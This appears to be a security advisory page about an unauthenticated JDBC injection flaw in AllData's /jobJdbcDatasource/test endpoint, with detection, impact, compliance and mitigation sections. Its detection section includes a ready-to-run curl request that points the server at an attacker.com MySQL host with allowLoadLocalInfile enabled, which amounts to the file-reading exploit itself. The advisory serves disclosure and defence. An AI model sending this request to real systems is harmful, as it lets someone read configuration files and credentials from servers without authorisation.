AllData JDBC Injection Vulnerability Exposes Database Files

Executive Summary

This vulnerability is an unauthenticated JDBC injection flaw in AllData through version 0.7.1. It allows remote attackers to open arbitrary database connections by sending jdbcUrl and jdbcDriverClass values to the /jobJdbcDatasource/test endpoint. Attackers can craft a MySQL JDBC URL with allowLoadLocalInfile=true pointing to their server, enabling them to read arbitrary files from the data-dts host.

Useful 0 Not Useful 0

Detection Guidance

Check if the /jobJdbcDatasource/test endpoint is accessible without authentication. Use curl to send a test JDBC URL request to the endpoint. Example: curl -X POST http://<target>/jobJdbcDatasource/test -H 'Content-Type: application/json' -d '{"jdbcUrl":"jdbc:mysql://attacker.com/db?allowLoadLocalInfile=true","jdbcDriverClass":"com.mysql.cj.jdbc.Driver"}'.

Inspect network traffic for suspicious outbound connections to unknown MySQL servers. Look for requests containing allowLoadLocalInfile parameter in JDBC URLs.

Useful 0 Not Useful 0

Impact Analysis

An attacker could exploit this to read sensitive files on the server running AllData data-dts. This includes configuration files, credentials, or other sensitive data stored on the system. The attack requires no authentication and can be performed remotely.

Useful 0 Not Useful 0

Compliance Impact

This vulnerability could lead to unauthorized access to sensitive data, violating GDPR's data protection principles and HIPAA's security requirements for protected health information. It may result in data breaches, non-compliance penalties, and reputational damage.

Useful 0 Not Useful 0

Mitigation Strategies

Upgrade AllData to a version beyond 0.7.1 if available. If not, restrict access to the /jobJdbcDatasource/test endpoint via network policies or firewall rules.

Apply input validation to JDBC URL and driver class parameters in the endpoint. Disable allowLoadLocalInfile in MySQL JDBC URLs.

Enable authentication in Spring Security configuration by modifying WebSecurityConfiguration.java to enforce access controls.

Useful 0 Not Useful 0